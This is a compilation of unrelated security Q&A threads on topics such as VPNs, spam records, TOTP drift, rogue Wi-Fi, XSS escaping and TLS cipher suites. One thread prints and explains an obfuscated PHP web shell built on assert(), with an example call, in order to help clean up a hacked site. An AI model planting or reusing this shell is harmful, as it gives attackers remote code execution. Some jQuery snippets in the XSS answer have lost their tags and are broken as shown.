Why certain sites don't send newsletters to "anonymous" mail addresses? I use an "anonymous" mail address (cock.li provider in my case). I have found that mainstream news sites in particular don't send their newsletters to such an addresses. It looks like the domains blacklisted.

What is the reason? I can understand that they don't want you writing comments from anonymous mail addresses, but passive reading of a newsletter is also prohibited?

Why this behavior? Why this behavior only with traditional mainstream news?

These newsletters usually have a lot of advertising and tracking, why they don't wish to deliver them to "anonymous" addresses?

the JavaScript forms let me enter my email address and even prints a message like "you subscribed to ... a confirmation mail will shorty arrive". This confirmation mail never arrives.
Mailchimp and other big providers present me Captchas and the mailing will work. No issue. The issue seems with homemade mailing systems (only 4% of newsletters not working)
an "anonymous" mail (like cock.li) where you don't need to verify anything. You can access with Tor or VPN.
the TLD domain I am using is .li and .cc

It could either be the email address or an issue on their end if they are outsourcing their newsletter email address via a public mail list sending provider (ex: mailchimp)

The only thing I can think of for an issue with your email address, is if the developers at the back-end, made sure the email data you placed is an actual email address.  This job is typically done via the receiving web servers looking over the email address data you provided passes those rules, before it is placed into a database with other email addresses that newsletters should be sent too.  There are ways to do this without using a blacklist, but one of the most simplest ways could be that the top level domain address should be well known email address top level domain (ex. .gov, .edu, .com).  However it seems that you did not receive any error message after inserting the email address, thus it could be a problem at their end.

If they are utilizing a external mass mail list service (ex. mailchimp), it could be that this service does not send mail to anonymous email addresses, or only allows sending to well known top level domain names.  In that case it is a problem on their end.


Are high levels of email spam normal? I have got my SPF, DKIM & DMARC records correctly setup and I have started using a DMARC analysis service.

One thing I have noticed is the volume failures. For example, in the last 3 days I have had 16,000 without correct SPF & DKIM.

I am confidant that my legitimate email is being received.

My questions are:

Should I be concerned or take any action due the volume of spam being sent from my domain?
Is this level of spam normal and is having SPF, DKIM & DMARC enough to resolve the issue?

This level of spam is unfortunately common: I get on a some small spam-collecting test system sometimes 15.000 spam mails a day from just a single IP address.

Having SPF, DKIM and DMARC records help against misuse of your own domain as the spoofed sender of spam. But they require that SPF and DMARC first implement a hard blocking policy and that the major number of recipients actually checks for such records and blocks spoofed mails so that it gets too expensive for the spammer. Currently this is not the case.

Checking incoming mail with SPF, DKIM and DMARC on your mail server helps to reduce the volume of spam you pass through to the internal recipients. DNS based real time blacklists are also very good in fighting spam as is Greylisting. And there are various commercial providers which help you in reducing the amount of spam you get.

And of course you should not be a source of spam yourself, i.e. make sure that none of your systems is part of a spam sending botnet and that your mail server is not an open relay which accepts mail from outside and forwards these to other external addresses.


Why does a VPN prevent snooping when https already encrypts the traffic? Why use an additional VPN (to prevent against snooping) if https is already encrypted? Is it solely for an additional layer so snoopers need to decode the data twice?

HTTPS encrypts the content but:

Anyone watching the stream, including your ISP, can easily see that you are going to www.bluebuggybumpers.com, or my.aids.results.com, or what have you. A VPN blinds your local ISP to where you go, although the VPN is capable of the same monitoring.

The site you visit directly see's your IP address and can generally instantly know within a sub-city locale where you are located. With additional assistance from your ISP, they can locate your specific internet connection. A VPN presents the VPN's IP address instead of yours.

Your geographic locale, determined from your IP address, may result in restrictions along the lines of Dr. Who is UK Only, or blocking North Korea. A VPN can be used to appear from almost anywhere in the world.

Some ISP's block certain protocols like bittorrent. A VPN allows you to run blocked protocols.


Are there any risk in serving static assets via compressed SSL protocol from 3rd party domain? e.g.

curl -v -H 'Accept-Encoding: gzip' 'https://cdnjs.cloudflare.com/ajax/libs/Colors.js/1.2.2/colors.min.js'

As you can see, result is gzipped.

My assumption is since they are serving from 3rd party domain, it is safe for me. I only need to disable when it is served from my own domain, right?

First note that you are not using SSL-level compression, but HTTP-level compression: there is a HTTP header which describes the mode of compression. The compression is applied to the HTTP response body only, i.e. the colors.min.js file, at the exclusion of anything else, in particular HTTP cookies or other such values.

Compression is unsafe when applied on secret values and the attacker has the possibility to get many examples of compressed data with the same secret repeated in all of them, but also with variants. In particular when the attacker gets to insert data chosen by him within the data sequence that is compressed.

In the case you show, there is no secret data at all; the data sequence that is compressed is a completely public piece of Javascript. Compression is abused into attacks by its ability to leak information about data contents through the data length (and the length is not protected by any subsequent encryption). If the source data is completely public, then there is no information to leak, and therefore no attack.

(Though colors.min.js is public, you still want to get over HTTPS, not for confidentiality but for integrity: you want to prevent active attackers from changing the Javascript code on the fly.)

Even if the compressed data was not public, a static file could still be served with compression, because compression is deterministic and would yield the exact same sequence of bytes every time, so, in particular, always the same length -- nothing to learn for the attacker.


What does this suspicious PHP code do? I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

Could you tell me what it does? How does ${'a'} lead to code execution? Is the injected code sent by POST request?

It's an obfuscated web shell that allows remote code execution.

The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this:

http://example.com/shell.php?e=phpinfo()

assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval() to prevent malware detection.

Here is the snippet reformatted and commented:

<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything
    ${'a'};
}
?>

  How does ${'a'} lead to code execution?

It doesn't. $b($_REQUEST['e']) is where the assertion runs. The code works without ${'a'}.

  Is the injected code sent by POST request?

$_REQUEST allows the parameter to be sent via both GET and POST.


Securely detecting and correcting time drift for TOTP RFC 6238 recommends the server to implement some form of resynchronization algorithm to account for time drift of the device used to generate the OTP. However, the RFC provides very little information on how to actually implement such a synchronization and the consequences it might have on the overall security of the algorithm. This time drift typically is a problem with devices that cannot sync with NTP, such as most programmable TOTP hard tokens. I would like to share our proposal here and hope to come up with an algorithm that is secure, adequately accounts for time drift in devides and requires minimal effort from the end user. I've also added some potential issues I see with the proposal.
Synchronization algorithm
We work with a 30 second window, which is typical for TOTP, but the principal should be the same with other window sizes. In this proposal, n is the current validation window, taking into account the correction for drift as recorded for that device. n-1 is the previous window, n+1 is the next, etc. The delay window (the time between generation of the OTP and its verification) is set at 1 step, as recommended by RFC 6238. This accounts for the difference between searching forward and backward.

The OTPs for windows n-2, n-1, n and n+1 are accepted as valid.
At n-2 and n+1 the drift for the device is automatically adjusted with -1 and +1 time step respectively.
For the other windows between n-6 and n+5, the drift is detected but not automatically adjusted. A manual drift correction is started (described below). The drift detection window of 11 validation windows should be sufficient to allow the user to resynchronize the TOTP when not logging in for a long time.
The OTP with a drift correction of 0 is also checked. If this OTP matches, the time drift itself is corrected and a manual drift correction is started to offset 0 (the current server time).
All other OTPs are rejected.

The manual drift correction is a process where the user is asked to enter 2 consecutive OTPs. These OTPs are used to calculate the drift within an offset of maximum 1 hour from the system time. Not being able to give 2 consecutive OTPs is considered a failed login attempt.
Possible issues
The RFC recommends against widening the window beyond two time steps (n and n-1). This proposal  adds 2 additional time steps (n-2 and n+1) for the automatic adjustment of the offset. I see no way to perform such automatic adjustment without widening the window to at least 4 steps. Of course the automatic adjustment could be left out entirely, but the manual resynchronization is not very pleasant for the end user. Is the widening of the window small enough to maintain a good balance between security and usability?
An OTP will be checked against a total of 13 windows. This could potentially lead to leaking information about the secret. In my opinion this is not a problem, because the recommended length of the secret in combination with the hashing will make it (virtually) impossible to guess the secret, especially when the attempts are rate limited.
Is using 2 consecutive OTPs enough to reliably determine the offset in a window of 240 time steps (1 hour back and forward)? And is a maximum offset of 1 hour good enough to account for time drift of the devices used?

RFC 6238 recommends “that the validator be set with a specific limit to the number of time steps a prover can be "out of synch" before being rejected.”  It doesn't recommend a resynchronization algorithm, although it does mention that one could be applied.
In general, the way people usually handle this is to require the TOTP generator to have time synchronization with a reliable source instead of applying a resynchronization algorithm.  Because these days most TOTP clients are mobile phones and mobile phones are synchronized to the phone network timestamps by default, this is usually sufficient with a standard ±1 offset.
There are a wide variety of other cases in which having a clock which significantly deviates from standard time is a problem, notably TLS certificate rotation, and users will generally find that not having their device properly synchronized (which, again, even most computers do automatically these days) will cause them serious problems beyond TOTP.  Your resynchronization proposal is therefore probably not necessary.


How do I figure out which wifi AP is the real Guest Network? I go to a local coffee shop (part of a regional chain/franchise) fairly frequently. The last few weeks an "extra" guest network has been showing up on the list of available connections. For as long as it's been open there was only one...

The two APs are very closely named - "ShopGuestWifi" vs. "ShopWiFi-Guest", so it's not likely to be a neighboring store.

The physical building is quite small (the physical building was originally a gas station) and unlikely to require a second guest AP - and even then I'd expect a reasonably consistent name.

Some other points that may or may not help:

Staff don't know which one I should be connecting to since there should only be one (and they're not the most technical).
I have seen a few new regulars there at the same time this started up.
I upgraded the tablet I've been bringing with me, so I don't have the old access point's name saved anywhere I can get to it.
Teathering to my phone has become ... problematic. Sprint's service was never the best here, but lately I've been getting full bars on LTE with a peak speed of 730 mbps. :(

Is there a way for me to figure out which one is the correct? I'd rather not connect to some joker's wifi pineapple.

If someone's using a WiFi Pineapple, they may be using the "Generate a Random MAC" option on the WiFi adapter.  You might be able to figure this out if the OUI in the MAC is nonsense, or if it's consistent with the coffee shop's access point.

Install Wireshark and grab the MAC addresses of both of the APs.  Look up the OUI of both of the MACs (Wireshark offers this service here.  If one of the OUI's is Netgear, Belkin, Cisco, D-Link, T-Link, or other common home router (and this is a small independent coffee shop), and the other comes up with "No Matches", you've probably identified the honest one.  This is a guess, of course, but probably better than blindly trusting to chance.

If it's a large chain, the access point may have been installed by the corporate networking department, which means they may be running on "enterprise" equipment.  Instead of Belkin or TLink, look for an OUI belonging to Cisco, Huawei, Netgear, or other major network appliance manufacturer.

Also, if it's a large chain, consider contacting the corporate HQ and reporting what you've found.  They may make simplistic improvements such as putting up a window sticker that says "Our official wifi hotspot is named 'CoffeebucksGuestWifi'".  They may also have detection software in their access point that can help identify find rogue devices, and with surveillance video evidence they may go so far as to prosecute someone who may be stealing credentials from their customers.  It does a company no good to be associated with identity thieves; so there's at least a chance they will take this seriously.

Another option is that the second access point is legitimate.  Perhaps the coffee shop added a second access point to improve coverage in the back room of the shop.  Perhaps the second access point belongs to a neighboring business. I know the front counter staff won't be able to answer questions, but perhaps the coffee shop owner can?


How to protect from DoS on get method? Suppose I have a website and I want to make sure that a hacker isn't making my server down by utilising a DDOS attack on my website. I thought of getting IP address and revoking the access, but it seems cumbersome to implement.

Should I be worried about this? Or should I just leave it without any protection against it.

If you're interested in understanding methods of protection on a more technical level, there are plenty of articles detailing more in depth strategies to protect yourself from a DDOS attack, such as this one from Cisco: http://www.cisco.com/c/en/us/support/docs/security-vpn/kerberos/13634-newsflash.html

That being said, you may have noticed that even some of the largest service in the world are still affected by massive scale DDOS attacks (Telegram this year, Reddit several times over the past few years). There really is no silver bullet for these kinds of things, although some strategies can include:

Detecting an blocking IP address ranges while the attack is in progress, as schroeder pointed out
Do a packet trace / capture on traffic you believe to be from a few of the offending hosts, and try to find some unique attribute you can use to block the request (i.e. similar user agents, HTTP header data)
Use a service like Cloudflare or Akamai as a CDN - often these services have some degree of DDOS protection built into even their free plans.


Port sweep vs port scan I was asked this question in an interview:
"What is a port sweep?"

When I replied with port scan he said that my answer was not a scan, it was a port sweep. I googled and found "tcp sweep: but not "port sweep".

Can anybody help me with this?

This answer is 64.7% opinion.

TL;DR: A port sweep looks for specific port(s) across multiple hosts.  A port scan enumerates any ports to be found on one or more hosts.

Some people use "port sweep" to describe a port scan that is focused on a specific port across a wide number of hosts, rather than on determining the open ports for some number of hosts.

An example:  imagine a new PostgreSQL flaw is found which permits compromise via the network listener.  You will quickly see scans, some of them Internet-wide, testing port 5432/tcp and nothing else.  This is a port sweep - a broad "sweeping" scan, targeted tightly to finding a vulnerable service, anywhere it can be found.

A sweep is not limited to one port.  Let's say that a flaw was exposed that impacted PostgreSQL and MySQL equally; you will see scans which hit both 3306/tcp and 5432/tcp, but nothing else.  However, the fact that it's focused on finding a discrete number of specific issue-related ports makes it a sweep.

Finally, a "sweep" may be used as a host detection method.  You can sweep for limited "likely" ports (80/tcp, 443/tcp) to see if anyone is there, and then go back to do full port scans against hosts that the sweep found to be alive.  This is common for things like the Internet where smart people disable ICMP ping.  It would take to long to do full port scans against a block with potential dead IPs, so the sweep is used to narrow the scope of the scan.

By this definition, the contrasting "port scan" is a full-spectrum attempt to enumerate all open ports (or at least a reasonably ambitions subset) on host(s).


What does the email header-line "message opened by mailclient" mean? Today a Belgian MP claimed (backed up by a security expert) that her email headers show that her email was read during routing (text in Dutch).

The published screenshot of the headers highlights the final line in the extended headers:

  message opened by mailclient 6.73.3.0

The IP resolves to a US DOD military base (Fort Huachuca).

Searching on "message opened by mailclient" gives thousands of emails with this line, with other IP-adresses also resolving to this particular military base, but also e.g. Japanese routing nodes(?).

The only thing I can find atm. is a vague comment:

  I've seen this before. IIRC, the IPs resolving to Ft Huachuca are not actually IP's, they are just numbers within the header which the program picks up as an IP.

What is the technical interpretation of this header line? What can one conclude from it?

I tried to filter Google results for "message opened by mailclient" as follows:

Jan 1, 2008 – Jan 1, 2009
Jan 1, 2009 – Jan 1, 2010
Jan 1, 2010 – Jan 1, 2011
Jan 1, 2011 – Jan 1, 2012
Jan 1, 2012 – Jan 1, 2013
Jan 1, 2013 – Oct 31, 2013

Looking into the results, you'll find something interesting. The more you go back in time, the lower the number after mailclient becomes (on average). It goes like this:

(2008) message opened by mailclient 1.0.20.1
(2009)  message opened by mailclient 4.6.0.0
(2010)  message opened by mailclient 6.21.11.1
(2011)  message opened by mailclient 6.35.6.0
(2012)  message opened by mailclient 6.54.5.0
(2013)  message opened by mailclient 6.71.3.0

As a result, it's safe to assume that those numbers are not IP addresses, but rather version numbers of the mail client. Looks like the Belgian MP is just jealous that the NSA are tapping Angela Merkel but not her.

Now, please send this answer's link to the news paper that published that article.


Differences between Intel TXT and Linux IMA I understand that Intel TXT provides a Dynamic Root of Trust Measurement (DRTM). Does the Linux integrity measurement architecture do logically similar things? If not, what are the differences?

No, they are complementary.

DRTM provides a Root of Trust on which you can build applications/use-cases such as Integrity measurement of your entire linux system (IMA). However, it is not part of it.

I think the simplest way to explain this is with the following:

IMA needs the kernel to evaluate the integrity of the system (e.g. userland);
DRTM (or SRTM for this matter) can validate the integrity of the kernel itself. See tboot.

I suggest reading this to have a feel for it - the "Value Proposition for Linux" more precisely.


Are deleted SMS still retrievable from Android-based phones? I'm wondering whether deleted SMS on Android phones are retrievable?
If so, how is this done? How can one avoid it?

Everything is retrievable if it's not overwritten.  On solid-state devices like our phones we need to be careful to start from an encrypted starting point to avoid some of the theoretical recovery (ForensicsWiki).

Short answer, Oxygen is something I've used to pull data off phones, but all it really requires is physical access, take a physical image, and use forensics tools like FTK or EnCase to look through hex a little easier.  Better yet, use Oxygen to make the everything pretty and organized (http://www.oxygen-forensic.com).

Short short answer, you need to overwrite your data / encrypt the data to avoid recoverability.  Even then I'm sure some wizards could get bits and pieces given enough time.


How Secure is my Application? I have created a little application in .NET that serves as a loader for my other applications.

Essentially, when opened, this app will get a list of available applications, and when an option is selected, it downloads the latest-version of the application in-memory and opens it up.

The application itself is obfuscated (although I doubt that matters) and does the following:

Navigates to a hard-coded HTTP location
Downloads a base-64 encoded string of an AES-256 encrypted message containing the list of available applications, their paths, dependencies, and decryption key.
Once an application is selected, it downloads the encrypted binary file (and any dependencies) listed in the configuration, all in memory
A basic set of simple string-manipulation functions are performed on the decryption key found in the config and a SecureString is generated
This key is then used to AES decrypt, and then load the application (once again, all in memory).
The key is immediately set for disposal

Security Concerns

I believe that the main entry point is the application itself. I believe, that although obfuscated, it can be easily analysed anyway.

Can you protect against this?

Using Fiddler / WireShark or other applications, one can easily determine where the configuration is being read from, and can possibly set up a a response, so for future calls, the app would be fed the same result (without actually retrieving it from the intended location).

Is there a way to actually verify that it has been downloaded from the intended destination?

The fact that the key to decrypt the binary files can be retrieved by a set of string-manipulation functions, I think can be easily reproduced, if the application is reverse-engineered.

Do you suggest an other way of dealing with the application-specific key?

How easy / likely is it, to save the state of an application running in memory so that it may be re-used without going through the loader application?
What other concerns would you consider?

Additional Info

The application currently checks whether a proxy is currently registered with the system, and tries to retrieve by bypassing the proxy, however to me this sounds like a hack rather than a security feature.

From what you described, it's not secure at all, for a bunch of reasons. The top two being:

You're downloading data over HTTP. Even if AES provides confidentiality, it doesn't provide message authenticity or integrity.
You're using hard-coded keys. Pulling those out would be trivial, even with obfuscation. This would mean I could MitM your traffic and send arbitrary binaries to take over the system.
You're relying upon obfuscation of the process for security, which is in violation of Kerckhoffs's principle.

The good news is that there is a proper way to do this, with asymmetric cryptography:

Generate an RSA key pair.
Store the public key components within your application.
Hash the assemblies on the server-side and sign that hash with the RSA private key.
Deliver the signed hash and assemblies over HTTPS to your application.
Hash the downloaded binary, then use the public key to verify the hash against the signature.
If the signature matches, you're safe to use the binaries.

You can do all of this with RSACryptoServiceProvider. I recommend using SHA256 for your hashes. I also recommend checking the strong name of the binaries even after you've verified their authenticity, just for peace of mind - you could extend this further by using Strong Name Signing.

A really simple verification routine might look like this:

bool VerifySignature(byte[] file, byte[] signature)
{
    using (var rsa = new RSACryptoServiceProvider())
    {
        rsa.ImportCspBlob(PublicKey);
        return rsa.VerifyData(file, CryptoConfig.MapNameToOID("SHA256"), signature);
    }
}

Where PublicKey is a byte array containing the data exported by rsa.ExportCspBlob(false) on the RSA instance that generated your key pair.


Is the VPN provider's ISP able to spy on traffic? Traffic between a VPN client and a VPN server is encrypted on the client, and decrypted on the server.

As the VPN server passes that traffic through the internet, can the VPN server's ISP see that traffic?

When it is not encrypted in other ways (like https), then yes, they can. A VPN appears just like any other customer to their ISP.

However, your VPN traffic is mixed with that of all other users of the VPN. From the point of view of the ISP, all traffic seems to originate from the VPN endpoint and they can not discern which connection belongs to which user of the VPN service. Unless, of course:

the traffic includes some unencrypted information which allows to identify the user
the number of users of the VPN is small enough that they can cooperate with your own ISP and look for traffic correlation (they notice that the VPN sends/receives data whenever you send/receive the same amount of data). This is, by the way, also a well-known weakness of the poor-man's VPN service TOR.
The VPN service cooperates with them


Is there an XSS exploit to overcome stringification of all user input? Question: Is stringifying all user input with something like JSON.stringify enough to prevent xss attacks? If not, is there an example of a xss exploit that overcomes this?

Edit for clarification: You can assume that the website does allow for html/script tags in user input and the user input gets inserted into elements the DOM.

To avoid many attacks, you should pay attention to what type of content you're manipulating. What looks like text is not necessarily text. This applies both for SQL (SQL Injection) and HTML (XSS).

The string abc is written abc as text. It is also written abc as HTML. So you may think that if you have text to display, you can just concatenate it with the rest of your HTML. But no, you can't.

The issue is that some characters have a special meaning in HTML. The biggest issue is <, but & is also a problem, and you want to avoid a few others for various reasons, including > and quotes, if what you are writing is an HTML attribute.

So, what you need to do is convert your text to HTML before you insert it into HTML: text is not HTML, and HTML is not text.

In some languages you have standard functions to do this, such as PHP's htmlspecialchars which you should use on every single piece of text you insert into HTML.

In Javascript, there's no standard function for this, so you have two alternatives:

You don't write HTML. You shouldn't anyway. You should create DOM elements, then set attributes on them, or set the text contents of them. If you use jQuery, that means you shouldn't write:

// XXX DON'T DO THIS! EVER!
$(thing).append($(''+string+''));

You should instead write:

$(thing).append($('').text(string));

You shouldn't use .html() either.

Likewise, don't do this:

// XXX DON'T DO THIS
$(thing).append($('"));

Do this instead:

$(thing).append($('').attr('src', url));

Or, if you really want to write HTML, then you need to convert all your text to HTML to do that. This means at the very least replacing: < with &lt; and & with &amp;, but you also want to replace > with &gt and " with &quot; and ' with &#39; if that will end up in an attribute (easier to always do it). A regex replacement will do.

JSON.stringify will not help you here. JSON.stringify will not convert text to HTML, it will convert text to JSON. You want to use (actually, you need to use it) if you want to insert text into Javascript (though this would more likely happen server-side). But it doesn't protect you against XSS.


Home Banking, antivirus safe environments OR Linux on virtual machines? Which is the safest way to do home banking, given that I do use Windows on a tablet, I do connect to both private and public networks and I cannot use a Linux live distro right now?

I've been thinking about these methods so far:

using a safe environment provided by an Antivirus Company (i.e. Avast Safe Zone, Kaspersky Safe Browser etc.);
running Linux on a Virtual Machine.

My questions are:

Which is the safest method between the two?
Could you give me any additional advice I should take in mind?

A virtual machine can't protect the guest OS from the host (without specialized hardware features to support it). You will not gain any security from running Linux in a VM if Windows gets infected, and if your VM gets infected then that's still the environment you intended to use for security sensitive things that's new insecure.

Have you tried live USB solutions? Unetbootin?


Do HIPAA Security Officers face personal liability for breaches? The role of HIPAA Security Officer is very important in maintaining compliance. In smaller organizations, there's overlap in employees' roles, so the person that ends up as the HIPAA Security Officer may not have a whole lot of background in compliance. Does the individual serving in this role face more personal liability for breaches than other employees?

Good question! But there's not a solid answer I'm afraid. As with most of these cases, it depends case by case, but there are a few things to consider.

First of all if there has been some for of negligence than an individual can be personally liable.

However I don't think that an HIPAA Security officer is any different than any other person responsible for the security of sensitive personal information; usually these cases don't make it to court.


Can a Bitlocker To Go user pin be brute forced? I have a external hard disk and protected a partition on it with Bitlocker To Go. I printed the recovery code but I lost it. I can't remember the user PIN either. If I could only know the first characters of the PIN, I'm sure I would remember the rest. I work on a Windows 7 x64 system. The TPM was not enabled when I activated Bitlocker. I only used a recovery key and a user PIN with more than seven characters.

My question is: Does a (brute force) software exist that can find (the first) characters of the PIN (user password), or is the information on it lost?

I know the recovery password can't be brute-forced in a million years. I only hope it's possible to find a few digits of the pin so I'll remember the rest of it.

It's not possible to find arbitrary digits of the pin. It's an all-or-nothing deal.

Assuming a numeric pin, there are 10,000,000 possible combinations. Depending on the implementation of the key derivation algorithm, it may take up to ~1s per attempt - that's roughly 58 days before you have a 50% chance of hitting the correct key, with 116 days (almost 4 months) being the worst-case time.


Now that it is 2015, what SSL/TLS cipher suites should be used in a high security HTTPS environment? It has become quite difficult to configure an HTTPS service that maintains "the ideal transport layer". How should an HTTPS service be configured to permit some reasonable level of compatibility while not being susceptible to even minor attacks?

TLS downgrade attacks  in combination Beast, Crime, Breach, and Poodle knocks out most if not all of SSLv3 and prior. Microsoft is disabling SSLv3 by default,  which sounds like a good move to me.  Due to weaknesses in RC4, MD5, and SHA1, there are even fewer cipher suites to choose from.

Would an 'ideal'  HTTPS service only enable TLS 1.0, 1.1 and 1.2 with key-size variants following ciphers?  What should be the most preferred cipher suite?

TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_DSS_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_DH_RSA_WITH_AES_128_GCM_SHA256

Would an 'ideal' HTTPS service only enable TLS 1.0, 1.1 and 1.2 with key-size variants following ciphers?

No, an 'ideal' HTTPS service would enable only TLS 1.2 and enable only AEAD (Authenticated Encryption with Associated Data) based cipher suites with SHA-2, 4096 bit DH parameters and 521 bit EC curves of a type that matches your requirements (government approved or not government generated).

Said service would also be unable to connect be used by a wide variety of older clients, including Android 4.3 and earlier, IE 10 and earlier, Java 7 (at least u25) and earlier), OpenSSL 0.9.8y and earlier (OpenSSL 1.0.0 is simply not listed on my source), and so on.  It would, however, be immune to any attack that works only on TLS 1.1 and below, any attack relying on SHA-1, and any attack relying on CBC mode or outdated ciphers like RC4.

Client cipher suite limitations per https://www.ssllabs.com.

  What should be the most preferred cipher suite?

It depends!

I assume Foward Secrecy is a requirement.

I assume "believed to be reasonably secure at this time" is a requirement.

I assume "actually implemented by at least one major actor" is a requirement.

All requirements regarding must have/cannot use some or another subset of ciphers (must use X, can't use Y, etc.).

Thus, I would propose the following lists as a reasonable start.  Begin with the top category (TLS 1.2 AEAD), then keep going down the list and adding categories until you reach a level that works with your userbase or you've reached the end of your comfort zone, whichever comes first.

Include as many cipher suites of each category as you can, so that when the next attack rolls around, you'll be able to remove the affected cipher suites and continue with the remainder.

Keep an eye on the threat environment so you can continue removing cipher suites that demonstrate vulnerabilities.

Within each major category, please order or cull the cipher suites according to your taste: DHE is of course slower than ECDHE, but takes elliptic curve provenance out entirely, and so on.  At this time, it appears that ordering is a tradeoff, but if you want speed, prefer or even require TLS_ECDHE_*.  If you don't trust the currently commonly implemented elliptic curves, or are concerned about elliptic curves due to the NSA Suite B guidance from Aug 2015 indicating a move away from prior Suite B elliptic curves is coming in the near future, and are willing to burn CPU, prefer or even require TLS_DHE_* suites.

Bear in mind that "normal" certificates are RSA certificates, which work with both TLS_ECDHE_RSA_* and TLS_DHE_RSA_* cipher suites.  DSA certificates which work with TLS_ECDHE_ECDSA_* cipher suites are very rare so far, and many CA's don't offer them.

TLS 1.2 AEAD only (all are SHA-2 as well)

TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (new 0xcca9, Pre-RFC7905 0xcc14)
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (new 0xcca8, Pre-RFC7905 0xcc13)
TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (new 0xccaa, Pre-RFC7905 0xcc15)
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)

For U.S. folks who are interested in NIST compliance, this is a TLS 1.2 should category cipher suite for servers using RSA private keys and RSA certificates per NIST SP800-52 revision 1 table 3-3

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x9f)
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x9e)
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)

For U.S. folks who are interested in NIST compliance, this is a TLS 1.2 should category cipher suite for servers using elliptic curve private keys and ECDSA certificates per NIST SP800-52 revision 1 table 3-5

TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)

For U.S. folks who are interested in NIST compliance, this is a TLS 1.2 should category cipher suite for servers using elliptic curve private keys and ECDSA certificates per NIST SP800-52 revision 1 table 3-5

These are the highest level of security I'm currently aware of in common TLS implementations.
As of Jan 2017, major modern browsers DO handle this level, including but not limited to Android with 6.0 supporting AES-GCM and - alone of the main ones - old valued CHACHA20-POLY1305 and 7.0 supporting new CHACHA20-POLY1305, Chrome with both AES-GCM and CHACHA20-POLY1305, Firefox with both AES-GCM and CHACHA20-POLY1305, IE and Edge with only AES-GCM, Java with only AES-GCM, OpenSSL 1.1.0 with both AES-GCM and CHACHA20-POLY1305, Safari with only AES-GCM).
Many major browsers cannot handle this, even 2015 vintage ones (Safari 7 on OSX 10.9, Android 4.3 and earlier, IE 10 on Win7 (IE 11 even on Win7 will support 0x9f and 0x9e if Windows has been patched)

TLS 1.2 SHA2 family (non-AEAD)

TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x6b)
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x67)
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)

For U.S. folks who are interested in NIST compliance, this is a TLS 1.2 should category cipher suite for servers using RSA private keys and RSA certificates per NIST SP800-52 revision 1 table 3-3

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)

For U.S. folks who are interested in NIST compliance, this is a TLS 1.2 may category cipher suite for servers using elliptic curve private keys and ECDSA certificates per NIST SP800-52 revision 1 table 3-5

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)

For U.S. folks who are interested in NIST compliance, this is a TLS 1.2 should category cipher suite for servers using elliptic curve private keys and ECDSA certificates per NIST SP800-52 revision 1 table 3-5

TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 (0xc077)
TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 (0xc076)
TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 (0xc4)
Note that you've lost AEAD mode and are using the much older CBC mode; this is less than ideal.  CBC mode has been a contributing factor for several attacks in the past, including Lucky Thirteen and BEAST, and it's not unreasonable to believe that CBC mode may be related to future vulnerabilities also.
Some modern browsers that don't have any AEAD cipher suites do have one more more suited in this category, for instance, IE 11 on Win7 can use TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 and Safari 6 and 7 can use a few of these

again, this is if you don't have ECDHE_ECDSA GCM suites working)

TLS 1.0 and 1.1 with modern ciphers (and outdated hashes, since that's all that's available)

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)

For U.S. folks who are interested in NIST compliance, this is a may category cipher suite for servers using RSA private keys and RSA certificates per NIST SP800-52 revision 1 table 3-2

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)

For U.S. folks who are interested in NIST compliance, this is a should category cipher suite for servers using RSA private keys and RSA certificates per NIST SP800-52 revision 1 table 3-2

TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x39)
TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x33)
TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x88)
TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x45)
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Once you're including cipher suites from this level, you're likely to find something that works with almost all modern implementations.
At this level, you're not only using CBC mode, you're also using SHA-1. NIST SP800-131A recommended that SHA-1 be disallowed for digital signature generation after Dec 31, 2013 (a year ago today, actually).

TLS 1.0 and 1.1 with older but still reasonable ciphers and outdated hashes

TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x16)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)

For U.S. folks who are interested in NIST compliance, this is a should category cipher suite for servers using RSA private keys and RSA certificates per NIST SP800-52 revision 1 table 3-2

TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)

